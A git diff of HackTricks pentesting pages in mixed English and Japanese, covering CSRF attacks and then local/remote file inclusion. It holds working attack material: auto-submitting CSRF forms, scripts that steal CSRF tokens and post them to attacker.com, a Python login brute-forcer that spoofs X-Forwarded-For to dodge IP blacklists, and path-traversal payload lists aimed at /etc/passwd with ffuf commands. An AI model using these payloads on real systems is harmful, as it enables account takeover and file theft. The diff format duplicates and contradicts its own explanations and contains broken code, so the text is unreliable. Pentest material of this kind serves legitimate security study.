6. Inject the payload: Find a way to trick the victim into visiting the malicious payload. This can be done through social engineering techniques, such as sending a phishing email or embedding the payload in a compromised website.
|
||||
|
||||
7. Execute the attack: When the victim visits the malicious payload, the browser will automatically submit the form, sending the multipart/form-data POST request to the target. The target server will process the request, unaware that it was initiated by an attacker.
|
||||
|
||||
8. Exploit the result: Analyze the response from the target server to determine if the attack was successful. This may involve checking for changes in the target's state or verifying that the desired action was performed.
|
||||
|
||||
#### Mitigation
|
||||
|
||||
To protect against CSRF attacks using multipart/form-data POST requests, consider implementing the following measures:
|
||||
|
||||
- Implement CSRF tokens: Include a unique token in each form submission and verify its authenticity on the server-side.
|
||||
- Implement SameSite cookies: Set the SameSite attribute of cookies to `Strict` or `Lax` to prevent cross-site requests.
|
||||
- Implement CSRF protection frameworks: Utilize frameworks that provide built-in protection against CSRF attacks, such as Django's CSRF middleware.
|
||||
- Use anti-CSRF tokens: Include a unique token in each form submission and verify its authenticity on the server side.
|
||||
|
||||
By understanding and mitigating CSRF vulnerabilities, you can enhance the security of your web applications and protect user data from unauthorized access or manipulation.
|
||||
- Implement SameSite cookies: Set the SameSite attribute to "Strict" or "Lax" for cookies to prevent them from being sent in cross-site requests.
|
||||
|
||||
- Use CSRF protection frameworks: Utilize frameworks or libraries that provide built-in protection against CSRF attacks.
|
||||
|
||||
- Educate users: Raise awareness among users about the risks of clicking on suspicious links or submitting forms on untrusted websites.
|
||||
|
||||
By following these mitigation techniques, you can significantly reduce the risk of CSRF attacks on your web applications.
|
||||
```javascript
|
||||
var fileSize = fileData.length,
|
||||
boundary = "OWNEDBYOFFSEC",
|
||||
|
@ -392,11 +470,11 @@ HTML フォームが送信されると、ブラウザは指定された URL に
|
|||
|
||||
To perform a CSRF attack using an iframe, an attacker can create a webpage with an iframe that loads the target website's form. The attacker can then use JavaScript to automatically submit the form without the user's knowledge.
|
||||
|
||||
iframe を使用して CSRF 攻撃を実行するには、攻撃者はターゲットのウェブサイトのフォームを読み込む iframe を含むウェブページを作成します。攻撃者は JavaScript を使用して、ユーザーの知識を持たずにフォームを自動的に送信することができます。
|
||||
iframe を使用して CSRF 攻撃を実行するには、攻撃者はターゲットのウェブサイトのフォームを読み込む iframe を含むウェブページを作成します。攻撃者はその後、ユーザーの知識を持たずに JavaScript を使用してフォームを自動的に送信することができます。
|
||||
|
||||
This attack works because the browser includes the user's session cookies in the POST request, allowing the attacker to impersonate the user and perform actions on their behalf.
|
||||
|
||||
この攻撃は、ブラウザが POST リクエストにユーザーのセッションクッキーを含めるため、攻撃者がユーザーをなりすまし、その代わりに操作を実行することができるために機能します。
|
||||
この攻撃は、ブラウザが POST リクエストにユーザーのセッションクッキーを含めるため、攻撃者がユーザーをなりすまし、その代わりに操作を行うことができるために機能します。
|
||||
|
||||
To protect against CSRF attacks, web developers should implement measures such as using anti-CSRF tokens, validating the referrer header, and implementing strict access controls.
|
||||
|
||||
|
@ -420,27 +498,15 @@ function envia(){document.getElementById("formulario").submit();}
|
|||
```
|
||||
### **CSRFトークンを盗み、POSTリクエストを送信する**
|
||||
|
||||
To perform a Cross-Site Request Forgery (CSRF) attack, you need to steal the CSRF token from the target website and then use it to send a malicious POST request on behalf of the victim.
|
||||
To perform a CSRF attack, you need to steal the CSRF token from the target website and then use it to craft a malicious POST request. Here's how you can do it:
|
||||
|
||||
CSRFトークンを盗むためには、ターゲットのウェブサイトからCSRFトークンを取得し、それを利用して被害者の代わりに悪意のあるPOSTリクエストを送信する必要があります。
|
||||
1. **Stealing the CSRF Token**: First, you need to find a way to obtain the CSRF token from the target website. This token is typically embedded in the HTML source code or included as a cookie. You can use various techniques like cross-site scripting (XSS) or social engineering to trick the user into revealing the token.
|
||||
|
||||
Here are the steps to accomplish this:
|
||||
2. **Crafting the Malicious POST Request**: Once you have the CSRF token, you can use it to craft a malicious POST request. This request should contain the necessary parameters and values to perform the desired action on the target website. For example, if you want to change the user's password, you would include the new password as a parameter in the POST request.
|
||||
|
||||
以下は、これを実行するための手順です。
|
||||
3. **Sending the POST Request**: Finally, you need to send the crafted POST request to the target website. This can be done using tools like cURL or by writing a custom script. Make sure to include the stolen CSRF token in the request headers or body, depending on how the target website expects it.
|
||||
|
||||
1. **Steal the CSRF token**: The CSRF token is typically embedded in the HTML form or included as a cookie. You can use various techniques like cross-site scripting (XSS) or social engineering to trick the victim into executing a script that retrieves the token and sends it to your controlled server.
|
||||
|
||||
1. **CSRFトークンを盗む**: CSRFトークンは通常、HTMLフォームに埋め込まれるか、クッキーとして含まれます。クロスサイトスクリプティング(XSS)やソーシャルエンジニアリングなどのさまざまな技術を使用して、被害者を騙してトークンを取得し、それをあなたの制御下のサーバーに送信するスクリプトを実行させることができます。
|
||||
|
||||
2. **Craft the malicious POST request**: Once you have the CSRF token, you can craft a malicious POST request with the desired payload. This payload can include actions like changing the victim's password, making unauthorized transactions, or modifying sensitive data.
|
||||
|
||||
2. **悪意のあるPOSTリクエストを作成する**: CSRFトークンを取得したら、望むペイロードを含んだ悪意のあるPOSTリクエストを作成することができます。このペイロードには、被害者のパスワードの変更、不正なトランザクションの実行、または機密データの変更などのアクションが含まれることがあります。
|
||||
|
||||
3. **Send the POST request**: Finally, you send the crafted POST request to the target website. Since the request includes the stolen CSRF token, the server will consider it as a legitimate request and perform the desired action on behalf of the victim.
|
||||
|
||||
3. **POSTリクエストを送信する**: 最後に、作成したPOSTリクエストをターゲットのウェブサイトに送信します。リクエストには盗まれたCSRFトークンが含まれているため、サーバーはそれを正当なリクエストと見なし、被害者の代わりに望ましいアクションを実行します。
|
||||
|
||||
It is important to note that CSRF attacks can be mitigated by implementing countermeasures such as using CSRF tokens, checking the Referer header, and implementing CAPTCHAs. As a pentester, it is crucial to identify and exploit CSRF vulnerabilities to help organizations strengthen their security defenses.
|
||||
By successfully executing this attack, you can trick the target user into unknowingly performing actions on the website without their consent. This can lead to various security vulnerabilities, such as unauthorized data modification or account takeover. It is important for website developers to implement proper CSRF protection mechanisms to prevent such attacks.
|
||||
```javascript
|
||||
function submitFormWithTokenJS(token) {
|
||||
var xhr = new XMLHttpRequest();
|
||||
|
@ -491,51 +557,45 @@ getTokenJS();
|
|||
|
||||
CSRF(Cross-Site Request Forgery)攻撃は、攻撃者が被害者の代わりに意図しないリクエストを送信する攻撃手法です。この攻撃を行うためには、被害者のセッションに関連付けられたCSRFトークンを盗む必要があります。
|
||||
|
||||
以下の手順で、CSRFトークンを盗み、それを使用してPOSTリクエストを送信する方法を説明します。
|
||||
以下の手法を使用して、CSRFトークンを盗み、それを使用してPOSTリクエストを送信する方法を説明します。
|
||||
|
||||
1. 攻撃者は、悪意のあるウェブサイトにiframeを埋め込みます。このiframeは、被害者のウェブサイトにアクセスします。
|
||||
1. 攻撃者は、悪意のあるウェブサイトにiframeを埋め込みます。このiframeは、被害者のブラウザで実行されます。
|
||||
|
||||
```html
|
||||
<iframe src="https://victim-website.com"></iframe>
|
||||
<iframe src="http://attacker.com/steal-csrf-token"></iframe>
|
||||
```
|
||||
|
||||
2. iframe内のスクリプトを使用して、被害者のウェブサイトからCSRFトークンを取得します。
|
||||
|
||||
```javascript
|
||||
var csrfToken = document.querySelector('input[name="csrf_token"]').value;
|
||||
```
|
||||
|
||||
3. 攻撃者は、取得したCSRFトークンを使用して、悪意のあるリクエストを送信するためのフォームを作成します。
|
||||
2. 攻撃者は、CSRFトークンを盗むためのエンドポイントを作成します。このエンドポイントは、被害者のセッションに関連付けられたトークンを取得するために使用されます。
|
||||
|
||||
```html
|
||||
<form id="malicious-form" action="https://victim-website.com/change-password" method="POST">
|
||||
<input type="hidden" name="new_password" value="hacker-password">
|
||||
<input type="hidden" name="csrf_token" value="">
|
||||
<!-- CSRFトークンを盗むためのエンドポイント -->
|
||||
<form id="csrf-form" action="http://attacker.com/steal-csrf-token" method="POST">
|
||||
<input type="hidden" name="csrf-token" value="">
|
||||
</form>
|
||||
```
|
||||
|
||||
4. フォームのCSRFトークンフィールドに、取得したCSRFトークンを設定します。
|
||||
3. 攻撃者は、Ajaxを使用してCSRFトークンを盗み、フォームに設定します。
|
||||
|
||||
```javascript
|
||||
document.querySelector('#malicious-form input[name="csrf_token"]').value = csrfToken;
|
||||
// Ajaxを使用してCSRFトークンを盗む
|
||||
$.ajax({
|
||||
url: 'http://victim.com/get-csrf-token',
|
||||
method: 'GET',
|
||||
success: function(response) {
|
||||
// 盗んだCSRFトークンをフォームに設定
|
||||
$('#csrf-form input[name="csrf-token"]').val(response.csrfToken);
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
5. 攻撃者は、フォームを自動的に送信するために、JavaScriptを使用します。
|
||||
4. 盗んだCSRFトークンを使用して、攻撃者はフォームを自動的に送信します。
|
||||
|
||||
```javascript
|
||||
document.getElementById('malicious-form').submit();
|
||||
// フォームを自動的に送信
|
||||
$('#csrf-form').submit();
|
||||
```
|
||||
|
||||
6. または、Ajaxを使用して悪意のあるリクエストを送信することもできます。
|
||||
|
||||
```javascript
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open('POST', 'https://victim-website.com/change-password', true);
|
||||
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
|
||||
xhr.send('new_password=hacker-password&csrf_token=' + csrfToken);
|
||||
```
|
||||
|
||||
以上の手順により、攻撃者は被害者のセッションを乗っ取り、悪意のあるリクエストを送信することができます。被害者は、攻撃が発生したことに気付かずに、意図しないアクションを実行してしまう可能性があります。
|
||||
この手法により、攻撃者は被害者のセッションに関連付けられたCSRFトークンを盗み、それを使用して悪意のあるPOSTリクエストを送信することができます。被害者は攻撃が行われていることに気付かず、攻撃者の意図しないリクエストが実行される可能性があります。
|
||||
```markup
|
||||
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
|
||||
<input type="text" name="username" value="AA">
|
||||
|
@ -593,29 +653,29 @@ In this technique, we will exploit a Cross-Site Request Forgery (CSRF) vulnerabi
|
|||
|
||||
この技術では、Cross-Site Request Forgery(CSRF)の脆弱性を悪用して、ユーザーのトークンを盗み、2つのiframeを使用して攻撃者が制御するサーバーに送信します。
|
||||
|
||||
First, we need to identify a vulnerable website that is susceptible to CSRF attacks. Once we have found a target, we can proceed with the following steps:
|
||||
1. The attacker crafts a malicious webpage that contains two hidden iframes.
|
||||
|
||||
まず、CSRF攻撃の影響を受けやすい脆弱なウェブサイトを特定する必要があります。ターゲットを見つけたら、以下の手順を実行します。
|
||||
攻撃者は、2つの非表示のiframeを含む悪意のあるウェブページを作成します。
|
||||
|
||||
1. Create a malicious webpage that contains two iframes. The first iframe will load the target website, and the second iframe will load an attacker-controlled webpage.
|
||||
2. The first iframe is loaded with the target website's login page.
|
||||
|
||||
1. 2つのiframeを含む悪意のあるウェブページを作成します。最初のiframeはターゲットのウェブサイトを読み込み、2番目のiframeは攻撃者が制御するウェブページを読み込みます。
|
||||
最初のiframeには、ターゲットのウェブサイトのログインページが読み込まれます。
|
||||
|
||||
2. In the first iframe, we will inject JavaScript code to extract the user's token from the target website. This can be done by accessing the DOM elements that contain the token and extracting its value.
|
||||
3. The second iframe is loaded with a page hosted on the attacker's server, which includes a form that automatically submits the stolen token.
|
||||
|
||||
2. 最初のiframeには、JavaScriptコードを挿入して、ターゲットのウェブサイトからユーザーのトークンを抽出します。これは、トークンを含むDOM要素にアクセスし、その値を抽出することで実現できます。
|
||||
2番目のiframeには、攻撃者のサーバーでホストされたページが読み込まれます。このページには、盗まれたトークンを自動的に送信するフォームが含まれています。
|
||||
|
||||
3. Once we have obtained the token, we will use JavaScript to send it to the attacker-controlled server. This can be done by making a POST request to the server with the token as a parameter.
|
||||
4. When the victim visits the malicious webpage, the first iframe loads the target website's login page.
|
||||
|
||||
3. トークンを取得したら、JavaScriptを使用してそれを攻撃者が制御するサーバーに送信します。これは、トークンをパラメータとしてサーバーにPOSTリクエストを行うことで実現できます。
|
||||
被害者が悪意のあるウェブページを訪れると、最初のiframeはターゲットのウェブサイトのログインページを読み込みます。
|
||||
|
||||
4. The second iframe will be used to hide the malicious activity from the user. It can be set to a small size or positioned off-screen so that the user is unaware of its presence.
|
||||
5. The victim enters their credentials into the login form, unaware that the second iframe is also submitting the stolen token to the attacker's server.
|
||||
|
||||
4. 2番目のiframeは、ユーザーに悪意のある活動を隠すために使用されます。小さなサイズに設定するか、画面外に配置することで、ユーザーはその存在に気付かないようにすることができます。
|
||||
被害者は、ログインフォームに資格情報を入力しますが、2番目のiframeが盗まれたトークンを攻撃者のサーバーに送信していることに気付いていません。
|
||||
|
||||
By loading the malicious webpage containing the iframes, the user's token will be stolen and sent to the attacker-controlled server without their knowledge.
|
||||
6. The stolen token is sent to the attacker's server, allowing them to impersonate the victim and perform actions on their behalf.
|
||||
|
||||
iframeを含む悪意のあるウェブページを読み込むことで、ユーザーのトークンが盗まれ、彼らの知識を持たずに攻撃者が制御するサーバーに送信されます。
|
||||
盗まれたトークンは攻撃者のサーバーに送信され、攻撃者は被害者をなりすまし、その代わりに操作を行うことができます。
|
||||
```markup
|
||||
<script>
|
||||
var token;
|
||||
|
@ -688,7 +748,7 @@ height="600" width="800"></iframe>
|
|||
|
||||
攻撃者は、Ajaxリクエストを使用してサーバーからCSRFトークンを取得します。取得したトークンは、フォームの隠しフィールドに追加されます。その後、フォームは自動的に送信され、攻撃者が指定したアクション(この場合は`/transfer-money`)にPOSTリクエストが送信されます。
|
||||
|
||||
この攻撃により、攻撃者はユーザーの名前で悪意のあるアクションを実行することができます。ユーザーは攻撃が行われていることに気付かずに、自分の意図しないアクションが実行される可能性があります。
|
||||
この攻撃により、攻撃者はユーザーの意図しない資金移動などの操作を行うことができます。ユーザーは攻撃が発生していることに気付かずに、悪意のある操作が実行されます。
|
||||
```markup
|
||||
<body onload="getData()">
|
||||
|
||||
|
@ -717,20 +777,20 @@ document.getElementById("form").submit();
|
|||
```
|
||||
### Socket.IOを使用したCSRF
|
||||
|
||||
Socket.IOは、Webアプリケーションでリアルタイムな双方向通信を実現するためのJavaScriptライブラリです。Socket.IOを使用してリアルタイムな通信を行うWebアプリケーションは、CSRF(Cross-Site Request Forgery)攻撃の潜在的な脆弱性にさらされる可能性があります。
|
||||
Socket.IOは、Webアプリケーションでリアルタイムな双方向通信を実現するためのJavaScriptライブラリです。Socket.IOを使用して開発されたアプリケーションは、WebSocketをサポートしていないブラウザでも動作することができます。
|
||||
|
||||
CSRF攻撃は、攻撃者が被害者の代わりに意図しないリクエストを送信することで、被害者のアカウントやデータを乗っ取る攻撃手法です。Socket.IOを使用する場合、CSRFトークンを適切に実装することで、この攻撃を防ぐことができます。
|
||||
CSRF(Cross-Site Request Forgery)は、攻撃者が被害者の代わりに意図しないリクエストを送信する攻撃手法です。Socket.IOを使用したアプリケーションでも、CSRF攻撃に対する対策が必要です。
|
||||
|
||||
Socket.IOでは、CSRFトークンを生成し、クライアントとサーバーの間でやり取りする必要があります。以下の手順でCSRFトークンを実装します。
|
||||
Socket.IOでは、クライアントとサーバー間の通信にトークンを使用することで、CSRF攻撃を防ぐことができます。以下の手順で実装します。
|
||||
|
||||
1. サーバー側で、セッションごとに一意のCSRFトークンを生成します。
|
||||
2. サーバーは、Socket.IOの接続時に生成されたCSRFトークンをクライアントに送信します。
|
||||
3. クライアントは、受け取ったCSRFトークンを保持し、リクエストを送信する際にトークンを含めます。
|
||||
4. サーバーは、受け取ったリクエストのCSRFトークンを検証し、正当なリクエストかどうかを判断します。
|
||||
1. サーバー側で、セッションごとに一意のトークンを生成します。
|
||||
2. トークンをクライアントに送信し、クライアント側で保持します。
|
||||
3. クライアントがサーバーにリクエストを送信する際に、トークンをリクエストに含めます。
|
||||
4. サーバーは、受け取ったトークンが正当なものかどうかを検証します。
|
||||
|
||||
このようにCSRFトークンを実装することで、Socket.IOを使用したWebアプリケーションのセキュリティを向上させることができます。攻撃者が意図しないリクエストを送信しても、正当なCSRFトークンがないため、サーバーはリクエストを拒否します。
|
||||
このようにすることで、攻撃者がトークンを知らない限り、CSRF攻撃を防ぐことができます。
|
||||
|
||||
Socket.IOを使用する際には、必ずCSRFトークンの実装を行い、セキュリティを確保しましょう。
|
||||
Socket.IOを使用したアプリケーションでは、CSRF対策を実装することが重要です。セッションごとに一意のトークンを生成し、リクエストごとにトークンを検証することで、安全な通信を確保することができます。
|
||||
```markup
|
||||
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
|
||||
<script>
|
||||
|
@ -753,7 +813,7 @@ room: username
|
|||
```
|
||||
## CSRFログインブルートフォース
|
||||
|
||||
このコードは、CSRFトークンを使用してログインフォームをブルートフォース攻撃するために使用することができます(また、可能なIPブラックリスト回避のためにX-Forwarded-Forヘッダーも使用しています)。
|
||||
このコードは、CSRFトークンを使用してログインフォームをブルートフォース攻撃するために使用できます(また、可能なIPブラックリスト回避のためにX-Forwarded-Forヘッダーも使用しています)。
|
||||
```python
|
||||
import request
|
||||
import re
|
||||
|
@ -809,24 +869,31 @@ login(USER, line.strip())
|
|||
|
||||
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **ウェブ3のバグについてもっと学ぶために**
|
||||
**HackenProofはすべての暗号バグ報奨金の場です。**
|
||||
|
||||
🐞 ウェブ3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグバウンティについて通知を受ける
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるweb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register) ハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFTコレクション**](https://opensea.io/collection/the-peass-family)
|
||||
* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するためにPRを提出して** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に参加してください。**
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -20,7 +20,7 @@
|
|||
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のweb3セキュリティをマスターしましょう。
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるweb3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
@ -34,7 +34,7 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後にの
|
|||
**リモートファイルインクルージョン(RFI):** ファイルはリモートサーバーからロードされます(最適:コードを書いてサーバーが実行します)。PHPでは、これはデフォルトで**無効**になっています(**allow\_url\_include**)。\
|
||||
**ローカルファイルインクルージョン(LFI):** サーバーがローカルファイルをロードします。
|
||||
|
||||
この脆弱性は、ユーザーがサーバーがロードするファイルを何らかの方法で制御できる場合に発生します。
|
||||
この脆弱性は、ユーザーがいかなる方法でサーバーがロードするファイルを制御できる場合に発生します。
|
||||
|
||||
脆弱な**PHP関数**:require、require\_once、include、include\_once
|
||||
|
||||
|
@ -82,21 +82,25 @@ In this technique, we will focus on exploiting file inclusion vulnerabilities by
|
|||
|
||||
この技術では、再帰的に剥奪されたトラバーサルシーケンスを使用して、ファイルインクルージョンの脆弱性を悪用します。これは、入力フィルタをバイパスするためのダブルエンコーディングや他の技術を使用することができないことを意味します。
|
||||
|
||||
To perform this attack, we need to identify the vulnerable parameter that allows file inclusion. Once we have identified the parameter, we can start testing for traversal vulnerabilities.
|
||||
To perform this attack, we need to identify the vulnerable parameter that allows file inclusion. Once we have identified the parameter, we can start testing for traversal sequences that have been stripped non-recursively.
|
||||
|
||||
この攻撃を実行するには、ファイルインクルージョンを許可する脆弱なパラメータを特定する必要があります。パラメータを特定したら、トラバーサルの脆弱性をテストすることができます。
|
||||
この攻撃を実行するには、ファイルインクルージョンを許可する脆弱なパラメータを特定する必要があります。パラメータを特定したら、再帰的に剥奪されたトラバーサルシーケンスのテストを開始できます。
|
||||
|
||||
Instead of using the usual traversal sequences like "../" or "..\", we will use alternative sequences that have been stripped non-recursively. These sequences may include variations such as "..%c0%af" or "..%252f".
|
||||
Here is an example of a traversal sequence that has been stripped non-recursively:
|
||||
|
||||
通常のトラバーサルシーケンス("../"や"..\")の代わりに、再帰的に剥奪された代替シーケンスを使用します。これらのシーケンスには、"..%c0%af"や"..%252f"などのバリエーションが含まれる場合があります。
|
||||
以下は、再帰的に剥奪されたトラバーサルシーケンスの例です。
|
||||
|
||||
By using these alternative sequences, we can bypass input filters that only check for the presence of "../" or "..\". This allows us to access files outside of the intended directory and potentially retrieve sensitive information.
|
||||
```
|
||||
../../../../etc/passwd
|
||||
```
|
||||
|
||||
これらの代替シーケンスを使用することで、"../"や"..\"の存在のみをチェックする入力フィルタをバイパスすることができます。これにより、意図したディレクトリの外部のファイルにアクセスし、機密情報を取得する可能性があります。
|
||||
By appending this sequence to the vulnerable parameter, we can attempt to access sensitive files on the server. It is important to note that the number of "../" sequences may vary depending on the directory structure of the server.
|
||||
|
||||
It is important to note that not all applications will be vulnerable to this technique, as some may have implemented additional security measures to prevent traversal attacks. Therefore, it is crucial to thoroughly test the target application and verify the effectiveness of this technique before proceeding with further exploitation.
|
||||
このシーケンスを脆弱なパラメータに追加することで、サーバー上の機密ファイルにアクセスしようとすることができます。なお、"../"のシーケンスの数は、サーバーのディレクトリ構造によって異なる場合があることに注意してください。
|
||||
|
||||
すべてのアプリケーションがこの技術に対して脆弱であるわけではないことに注意してください。一部のアプリケーションは、トラバーサル攻撃を防ぐために追加のセキュリティ対策を実装している場合があります。したがって、さらなる攻撃を行う前に、対象のアプリケーションを徹底的にテストし、この技術の有効性を確認することが重要です。
|
||||
It is also worth mentioning that some web applications may have additional security measures in place to detect and prevent file inclusion attacks. Therefore, it is important to thoroughly test the vulnerability and understand the application's behavior before proceeding with the attack.
|
||||
|
||||
また、一部のWebアプリケーションには、ファイルインクルージョン攻撃を検出および防止するための追加のセキュリティ対策がある場合があります。したがって、攻撃を進める前に、脆弱性を徹底的にテストし、アプリケーションの動作を理解することが重要です。
|
||||
```python
|
||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
|
@ -139,22 +143,22 @@ http://example.com/index.php?page=private/../../../../etc/passwd # we went deepe
|
|||
```
|
||||
* アプリケーションが脆弱である場合、リクエストには2つの異なる結果があります:
|
||||
* エラー/出力がない場合、この場所には `private` フォルダが存在しません
|
||||
* `/etc/passwd` からのコンテンツを取得した場合、現在のディレクトリに `private` フォルダが実際に存在することが確認されます
|
||||
* このテクニックを使用して発見したフォルダは、クラシックなLFIメソッドを使用してファイル(または同じテクニックを再帰的に使用してサブディレクトリ)に対してファズテストを行うことができます。
|
||||
* `/etc/passwd` からコンテンツを取得した場合、現在のディレクトリに `private` フォルダが存在することが確認されます
|
||||
* このテクニックを使用して発見したフォルダは、クラシックなLFIメソッドを使用してファイル(または同じテクニックを再帰的に使用してサブディレクトリ)に対してファズテストを実行できます。
|
||||
|
||||
このテクニックを使用して、ファイルシステム内の任意の場所にディレクトリが存在するかどうかを確認することも可能です。たとえば、同じ仮定(ファイルシステムの深さ3の現在のディレクトリ)の下で、`/var/www/` に `private` ディレクトリが含まれているかどうかを確認する場合、次のペイロードを使用します:
|
||||
このテクニックを使用して、ファイルシステム内の任意の場所にディレクトリを見つけることも可能です。たとえば、同じ仮定(ファイルシステムの深さ3の現在のディレクトリ)の下で、`/var/www/` に `private` ディレクトリが含まれているかどうかを確認する場合、次のペイロードを使用します:
|
||||
```
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
次のコマンドのシーケンスは、`sed`(1)を使用してペイロードを生成し、`ffuf`(2)などのURLファジングツールの入力として使用することができます。
|
||||
|
||||
```bash
|
||||
$ sed 's/^/-H "X-Original-URL: /;s/$/" /' payloads.txt | ffuf -w - -u FUZZ -mc all
|
||||
$ sed 's/^/-H "X-Original-URL: /;s/$/"/' payloads.txt | ffuf -w - -u FUZZ -mc all
|
||||
```
|
||||
|
||||
このコマンドのシーケンスは、`payloads.txt`ファイル内の各行に対して`sed`を使用して変換を行います。変換された各行は、`-H "X-Original-URL: 変換後の行"`の形式になります。その後、`ffuf`を使用してURLファジングを実行します。`-w -`は、`sed`の出力を`ffuf`の入力として使用することを意味します。`-u FUZZ`は、`ffuf`がFUZZという文字列をURL内で置き換えることを指定します。`-mc all`は、すべてのHTTPステータスコードを表示するように`ffuf`に指示します。
|
||||
このコマンドのシーケンスは、`payloads.txt`ファイル内の各行に対して`sed`を使用して変換を行います。変換された各行は、`-H "X-Original-URL: <変換された行>"`の形式になります。その後、`ffuf`は`-w -`オプションを使用して標準入力からワードリストを読み取り、`-u FUZZ`オプションを使用してURLのFUZZキーワードを指定します。最後に、`-mc all`オプションを使用してすべてのステータスコードを表示します。
|
||||
|
||||
このシーケンスを使用すると、`sed`を使用して生成されたペイロードを効果的にURLファジングに使用することができます。
|
||||
このコマンドのシーケンスを使用すると、`ffuf`は`payloads.txt`ファイル内の各行を変換し、それぞれの変換された行をURLのFUZZキーワードとして使用してリクエストを送信します。これにより、Webアプリケーションのファイルインクルージョンの脆弱性をテストすることができます。
|
||||
```
|
||||
$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
|
||||
$ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"
|
||||
|
@ -190,17 +194,22 @@ http://example.com/index.php?page=..///////..////..//////etc/passwd
|
|||
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
|
||||
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
|
||||
```
|
||||
## 基本的な RFI
|
||||
# 基本的な RFI
|
||||
|
||||
このセクションでは、リモートファイルインクルージョン(RFI)攻撃について説明します。RFIは、ウェブアプリケーションの脆弱性を悪用して、外部のファイルをサーバーに読み込む攻撃手法です。
|
||||
このセクションでは、基本的なリモートファイルインクルージョン(RFI)攻撃について説明します。RFIは、ウェブアプリケーションの脆弱性を悪用して、外部のファイルをサーバーに読み込む攻撃手法です。
|
||||
|
||||
